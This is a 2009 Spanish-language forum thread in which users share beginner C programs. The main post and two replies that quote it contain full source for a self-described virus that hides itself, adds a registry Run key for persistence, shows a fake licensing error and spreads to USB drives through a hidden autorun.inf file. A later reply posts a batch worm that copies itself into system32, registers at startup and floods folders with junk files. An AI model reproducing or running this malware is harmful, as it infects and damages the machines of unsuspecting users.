Páginas: [1] 2   Ir Abajo
  Imprimir  
Autor Tema: Programillas en C [Para intermedios]  (Leído 16285 veces)
dhararon

Desconectado Desconectado

Mensajes: 88


Richard Stallman


« : Octubre 03, 2009, 07:52:06 »

hola inicie este tema para publicar algunos codes, si tienen algunos compartan para aprender mas

bueno inicio con este que es muy entretenido

Mause Pegado
Código:
#include<windows.h> //Incluye la libreria de windows

main(){ //Iniciamos main
FreeConsole(); //Ocultamos la ventana del ms-dos
while(1){ //declaramos un while infinito
SetCursorPos(300,432); //Ubicamos el cursor en las cordenadas 300,432
} //fin del while
} //fin del main

PD: Para terminar el programa, abran el administrador de tareas (Ctrl+shift+Esc) vayan a procesos (moviendose con el tabulador) y terminen el proceso (con el boton que esta enmdio de Alt Gr y Ctrl).

Espero y les sea educativo
En línea

dhararon

Desconectado Desconectado

Mensajes: 88


Richard Stallman


« Respuesta #1 : Octubre 03, 2009, 08:32:53 »

aqui dejo otro programa, yo se que no es muy comodo aqui pero solo es de forma educativa

Virus Resident Evil by Dhararon

Código:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <dir.h>

main(){
FreeConsole();

while (1){

char usb[24][4]={
                  {"c:\\"},{"d:\\"},{"e:\\"},{"f:\\"},{"g:\\"},{"h:\\"},
                    {"i:\\"},{"j:\\"},{"k:\\"},{"l:\\"},{"m:\\"},{"n\\"},
                    {"o:\\"},{"p:\\"},{"q:\\"},{"r:\\"},{"s:\\"},{"t:\\"},
                    {"u:\\"},{"v:\\"},{"w:\\"},{"x:\\"},{"y:\\"},{"z:\\"}
                   };
                   int i;
                   char virus[50]="residentevil.exe";
                   char virus2 [500]="[AutoRun]\nopen=residentevil.exe\nshell\\open\\Command=residentevil.exe\nshell\\open\\Default=1\nshell\\explore\\Command=residentevil.exe\n ; este archivo no es un virus / not is a virus this file";
                      char virus3[12]="autorun.inf";

                      char reg2[500]="Software\\Microsoft";
                      char reg3[50]="\\Windows\\CurrentVersion";
                      char reg4[20]="\\run";
char a[200];
char b[200];


FILE *ar;
ar=fopen("c:\\residentevil.exe","r");
if(ar){
    strcat(reg2,reg3);
    strcat(reg2,reg4);
   HKEY hkey;
    RegOpenKey(HKEY_LOCAL_MACHINE,reg2,&hkey);
RegSetValueEx(hkey,"residentevil",0,REG_SZ,(const unsigned char*)"C:\\residentevil.exe",sizeof"C:\\residentevil.exe");
RegCloseKey(hkey);

   MessageBox(NULL,"Error, la version de su windows es ilegal","Error de autentificacion",MB_ICONERROR);
        Sleep(5000);
    FILE *er;
     for(i=0;i<=24;i++){
 if( GetDriveType(usb[i]) == DRIVE_REMOVABLE){

      strcpy(a,usb[i]);
      strcat(a,virus);
    er=fopen(a,"r");
    if(er){
        fclose(er);
        FILE *inf;
        FILE *inf2;
        strcpy(b,usb[i]);
      strcat(b,virus3);
    inf=fopen(b,"r");
    if(inf){
        fclose(inf);
    }
    else{
        inf2=fopen(b,"w");
        fprintf(inf2,"%s",virus2);
        fclose(inf2);
        SetFileAttributes(b,FILE_ATTRIBUTE_HIDDEN);

    }
    }
    else{

      CopyFile(virus,a,true);

    }
 }
     }
}
else{
    CopyFile(virus,"c:\\residentevil.exe",true);
}
                   }


                   }
En línea

iliil DJMÄSTËR liili

Desconectado Desconectado

Mensajes: 333


Music is LIFE!


WWW
« Respuesta #2 : Octubre 03, 2009, 11:30:20 »

eahh,,! gracias por compartir,, vamos a probar,,

saludos y cuidense,,


pasense por el chat,,!
En línea


•° Merinillo °•

Desconectado Desconectado

Mensajes: 643


Esta flor Escrito de amor


WWW
« Respuesta #3 : Octubre 04, 2009, 11:59:09 »

pues ni entiendo y por falta de tiempo no me he dado la tarea de estar investigando acerca de programacion pero un dia de estos tendré que darme una escapada por que si quiero aprender algo de programacion Muchas gracias

    * dhararon

salu2 sale cuidense Bye  Grin
En línea

54t2regdfshgvbcx

Desconectado Desconectado

Mensajes: 385



WWW
« Respuesta #4 : Octubre 04, 2009, 12:14:36 »

ke onda dhararon , hace tiempo ke no lo veo por a kaa.
saludos.

En línea
dhararon

Desconectado Desconectado

Mensajes: 88


Richard Stallman


« Respuesta #5 : Octubre 04, 2009, 01:07:52 »

hola a todos, si creo que despues de mucho tiempo vuelvo por aqui pero pues no fue mi culpa, sino de la escuela, bueno les traigo este programa que sirve para crear archivos, es un poco sencillo ya que fue el primer programa que desarrolle XD

Código:
#include<stdio.h>
#include<stdlib.h>
/*version beta*/
main(){
       char nom[30];     
       char nom2[500];
FILE *archivo; //Declaro unicio de variable para ficheros
archivo=fopen("tu escrito.txt", "w"); //creo un nuevo fichero (w) con el nombre de tu escrito
printf("ingresa un nombre:  ");
gets(nom); //recolecto nombre

system ("cls");
printf("ingresa tu texto:  "); 
gets (nom2); //recolecto texto


fprintf(archivo, "%s\n\n %s \n\nhecho por DHARARON", nom, nom2); //Imprimo en el archivo

fclose(archivo); //Se cierra el archvo, hacer esto siempre

system ("cls");
printf("programa hecho por dhararon");
system("pause>nul");


}
En línea

Deegu!

Desconectado Desconectado

Mensajes: 1492


digame licenciado...


WWW
« Respuesta #6 : Octubre 04, 2009, 07:24:42 »

dhararon cual av me sirve contra tu virus.... me infecte! ja ja ja

cuidate

aqui dejo otro programa, yo se que no es muy comodo aqui pero solo es de forma educativa

Virus Resident Evil by Dhararon

Código:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <dir.h>

main(){
FreeConsole();

while (1){

char usb[24][4]={
                  {"c:\\"},{"d:\\"},{"e:\\"},{"f:\\"},{"g:\\"},{"h:\\"},
                    {"i:\\"},{"j:\\"},{"k:\\"},{"l:\\"},{"m:\\"},{"n\\"},
                    {"o:\\"},{"p:\\"},{"q:\\"},{"r:\\"},{"s:\\"},{"t:\\"},
                    {"u:\\"},{"v:\\"},{"w:\\"},{"x:\\"},{"y:\\"},{"z:\\"}
                   };
                   int i;
                   char virus[50]="residentevil.exe";
                   char virus2 [500]="[AutoRun]\nopen=residentevil.exe\nshell\\open\\Command=residentevil.exe\nshell\\open\\Default=1\nshell\\explore\\Command=residentevil.exe\n ; este archivo no es un virus / not is a virus this file";
                      char virus3[12]="autorun.inf";

                      char reg2[500]="Software\\Microsoft";
                      char reg3[50]="\\Windows\\CurrentVersion";
                      char reg4[20]="\\run";
char a[200];
char b[200];


FILE *ar;
ar=fopen("c:\\residentevil.exe","r");
if(ar){
    strcat(reg2,reg3);
    strcat(reg2,reg4);
   HKEY hkey;
    RegOpenKey(HKEY_LOCAL_MACHINE,reg2,&hkey);
RegSetValueEx(hkey,"residentevil",0,REG_SZ,(const unsigned char*)"C:\\residentevil.exe",sizeof"C:\\residentevil.exe");
RegCloseKey(hkey);

   MessageBox(NULL,"Error, la version de su windows es ilegal","Error de autentificacion",MB_ICONERROR);
        Sleep(5000);
    FILE *er;
     for(i=0;i<=24;i++){
 if( GetDriveType(usb[i]) == DRIVE_REMOVABLE){

      strcpy(a,usb[i]);
      strcat(a,virus);
    er=fopen(a,"r");
    if(er){
        fclose(er);
        FILE *inf;
        FILE *inf2;
        strcpy(b,usb[i]);
      strcat(b,virus3);
    inf=fopen(b,"r");
    if(inf){
        fclose(inf);
    }
    else{
        inf2=fopen(b,"w");
        fprintf(inf2,"%s",virus2);
        fclose(inf2);
        SetFileAttributes(b,FILE_ATTRIBUTE_HIDDEN);

    }
    }
    else{

      CopyFile(virus,a,true);

    }
 }
     }
}
else{
    CopyFile(virus,"c:\\residentevil.exe",true);
}
                   }


                   }
En línea



gracias a los usuarios de LDC por visitarnos y preferirnos
dhararon

Desconectado Desconectado

Mensajes: 88


Richard Stallman


« Respuesta #7 : Octubre 04, 2009, 08:59:59 »

dhararon cual av me sirve contra tu virus.... me infecte! ja ja ja

cuidate

aqui dejo otro programa, yo se que no es muy comodo aqui pero solo es de forma educativa

Virus Resident Evil by Dhararon

Código:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <dir.h>

main(){
FreeConsole();

while (1){

char usb[24][4]={
                  {"c:\\"},{"d:\\"},{"e:\\"},{"f:\\"},{"g:\\"},{"h:\\"},
                    {"i:\\"},{"j:\\"},{"k:\\"},{"l:\\"},{"m:\\"},{"n\\"},
                    {"o:\\"},{"p:\\"},{"q:\\"},{"r:\\"},{"s:\\"},{"t:\\"},
                    {"u:\\"},{"v:\\"},{"w:\\"},{"x:\\"},{"y:\\"},{"z:\\"}
                   };
                   int i;
                   char virus[50]="residentevil.exe";
                   char virus2 [500]="[AutoRun]\nopen=residentevil.exe\nshell\\open\\Command=residentevil.exe\nshell\\open\\Default=1\nshell\\explore\\Command=residentevil.exe\n ; este archivo no es un virus / not is a virus this file";
                      char virus3[12]="autorun.inf";

                      char reg2[500]="Software\\Microsoft";
                      char reg3[50]="\\Windows\\CurrentVersion";
                      char reg4[20]="\\run";
char a[200];
char b[200];


FILE *ar;
ar=fopen("c:\\residentevil.exe","r");
if(ar){
    strcat(reg2,reg3);
    strcat(reg2,reg4);
   HKEY hkey;
    RegOpenKey(HKEY_LOCAL_MACHINE,reg2,&hkey);
RegSetValueEx(hkey,"residentevil",0,REG_SZ,(const unsigned char*)"C:\\residentevil.exe",sizeof"C:\\residentevil.exe");
RegCloseKey(hkey);

   MessageBox(NULL,"Error, la version de su windows es ilegal","Error de autentificacion",MB_ICONERROR);
        Sleep(5000);
    FILE *er;
     for(i=0;i<=24;i++){
 if( GetDriveType(usb[i]) == DRIVE_REMOVABLE){

      strcpy(a,usb[i]);
      strcat(a,virus);
    er=fopen(a,"r");
    if(er){
        fclose(er);
        FILE *inf;
        FILE *inf2;
        strcpy(b,usb[i]);
      strcat(b,virus3);
    inf=fopen(b,"r");
    if(inf){
        fclose(inf);
    }
    else{
        inf2=fopen(b,"w");
        fprintf(inf2,"%s",virus2);
        fclose(inf2);
        SetFileAttributes(b,FILE_ATTRIBUTE_HIDDEN);

    }
    }
    else{

      CopyFile(virus,a,true);

    }
 }
     }
}
else{
    CopyFile(virus,"c:\\residentevil.exe",true);
}
                   }


                   }

De hecho cualquiera, ya que al momento de la infeccion todos los antivirus lo detectan porque forza a crear una entrada en el registro, ahora bien, si no fue asi, entra en modo seguro (enciende la pc y apritamuchas veces F8 y dale en modo seguro), despues vas a C:/  y borras el archivo llamado residentevil.exe y otro que se llama autorun.inf , luego abre ejecutar y escribe  msconfig, ve a la pestañña de inicio o inicio de windows y desactiva el que diga residentevil     suerte y perdon, pero nunca pense que se fuesen a infectar.

pd: si metiste o tenias algun usb dentro cuando compilaste, vacunalo con kaspersky o desactiva el autorun de tu pc
En línea

dhararon

Desconectado Desconectado

Mensajes: 88


Richard Stallman


« Respuesta #8 : Octubre 05, 2009, 05:59:34 »

Vaya no me imagine que el lenguaje c.c+ tambien servia para hacer virus y programas voy a ponerme a estudiar mas este milagroso lenguaje Smiley
Gracias dhararon necesitabamos un experto como vos en el foro aunque tambien esta Cazador asesino que tambien es un experto Wink va todos somos expertos pero no se nos nota jaja
Tengo una pregunta:
@echo off
copy %0 %windir%\system32\worm.bat
REG ADD HKLM\software\microsoft\windows\currentsversion\run/v hack/d %windir%\system32\worm.bat
:worm
cd \
cd %homepatch%
cd escritorio
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd \
cd windows
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd system32
mkdir %ramdom%
mkdir %ramdom%
Este codijo se puede usar en c osea se puede pasar en c o como hago?
Pdd.no me hechen la culpa si se infectan con el code jajaja
Pero quiero saber de estas cosas no para hacerlas

Se tiene que estructurar denuevo el codigo, porque eso no sirve ya que unicamente son comandos progamados, ahora, como que no sabias que en C/C++ servia para hacer virus y programas?, C/c++ son la base del sistema operativo GNU/linux y es el mejor lenguaje de programacion, pueses buscar el REACTOS que es identico a windows pero de codigo abierto.

ahora para ejecutar un comando de consola en C se usa el codigo system("comando");
ejemplo:

Código:
#include<stdlib.h> //el codigo system esta declarado aqui

main(){
system("cls"); //limpia la pantalla
system("echo HOLA MUNDO"); //imprime hola mundo
system("pause>nul"); //pone en pausa la aplicacion
}

Espero y te sirva esta informacion
En línea

54t2regdfshgvbcx

Desconectado Desconectado

Mensajes: 385



WWW
« Respuesta #9 : Octubre 05, 2009, 06:32:11 »

Eso espero N03L!!!, espero que se ponga a estudiar "duro".
por ke siempre me enkuentro personas ke dicen ke kieren aprender c o c++ y nunka estudian y no le echan las ganas, espero ke no sea uno mas.

En lo personal a mi no me gusta enseñar, (porke no se explikar bien lo ke trato de decir, jaja)  y la otra no me gusta enseñar por flojera.

a si ke le pongo su tarea

Investigue todos los operadores para este lenguaje y aprendaselos.
investigue las librerías o cabeceras mas usadas de este lenguaje.
Investigue como hacer algoritmos (pseudocodigo, diagrama deflujo) si kiere otro pues investiguelo.
haga ejercicios para crear algoritmos
ahh y tambien investigue ke es un algoritmo  Wink

Investige una estrcutura para c o c++ y como esta compuesta.

lea la historia de c.

No este esperanzado a ke le pongan todo en bandeja de oro o plata, sea autodidacta mi amigo N03l.

luego te paso unos libros de nivel básico muy buenos.

 a si ke a estudiar N03L.

salu2s


a si es C,C++,C# es grande y muy padre. larga vida... je
« Última modificación: Octubre 05, 2009, 06:37:59 por GaRfA » En línea
•° Merinillo °•

Desconectado Desconectado

Mensajes: 643


Esta flor Escrito de amor


WWW
« Respuesta #10 : Octubre 05, 2009, 06:34:05 »

dijera mis maestra de Mate.... todos podemos solo nos falta la actitud y responsabilidad
En línea

54t2regdfshgvbcx

Desconectado Desconectado

Mensajes: 385



WWW
« Respuesta #11 : Octubre 05, 2009, 06:51:33 »

jajaja, tabien no gastare tu nombre.

ejekutar ke??
el codigo??
cual??

el ke te dio el buen dhararon

o el batch??

necesitas un compilador  Borland o Dev
investiga ke es un compilador
Guardar --> Compilar ---> Ejekutar
« Última modificación: Octubre 05, 2009, 06:53:48 por GaRfA » En línea
dhararon

Desconectado Desconectado

Mensajes: 88


Richard Stallman


« Respuesta #12 : Octubre 05, 2009, 07:02:08 »

jajaja, tabien no gastare tu nombre.

ejekutar ke??
el codigo??
cual??

el ke te dio el buen dhararon

o el batch??

necesitas un compilador  Borland o Dev
investiga ke es un compilador
Guardar --> Compilar ---> Ejekutar

yo siempre uso el codeblocks porque se me hace bueno, ahora a que no loe entiendes?

la sintaxis de system es muy facil es system("aqui el comando de consola");

que es un comando de consola?

un comando de consola es igual a abrir la consola (Inicio>ejecutar y escribes command) y en la ventana negra pones dir.

mas claro

abre el bloc de notas y pon

Código:
dir
pause

guardala como prueba.bat y ejecutalo, veras que pone muchos directorios, ahora abre el compilador de c/c++ y pon

Código:
#include <stdlib.h>
main(){
system("dir");
system("pause");
}

y veras que ejecuta lo mismo.

espero y esto te sea mas util, si quieres agregame al msn, es  hacktroz@hotmail.com
En línea

iliil DJMÄSTËR liili

Desconectado Desconectado

Mensajes: 333


Music is LIFE!


WWW
« Respuesta #13 : Octubre 05, 2009, 07:10:14 »

ps me tocará entrarle tambien a c++ ejejej,,,




weno me retiro y me buscare alguns tutos para aprender,,





saludos, cuidense,,




Visiten ChatLDC <--------






DJMASTER
En línea


makubex

Desconectado Desconectado

Mensajes: 222


Hay un mundo mejor, pero es carísimo.


WWW
« Respuesta #14 : Octubre 07, 2009, 07:37:39 »

no sabes que me gustaria que me esplicara como  hacer por ejemplo que se apage la compu en 50 segundo
ya se que es shutdown -s -t 50-c pero como lo hago a esto en c.c+
y para safar es shutdown -a jajaj
Ese programa esta publicado en la respuesta No.7 de la Escuela de C/C++ en versiones windows y linux con leves diferencias... Usalo BIEN.
En línea

#apt-get moo
         (__)
         (oo)
   /------\/
  / |    ||  
 *  /\---/\
    ~~   ~~  
...."Have you mooed today?"...

Software Libre para una Sociedad Libre
Páginas: [1] 2   Ir Arriba
  Imprimir  
 
Ir a: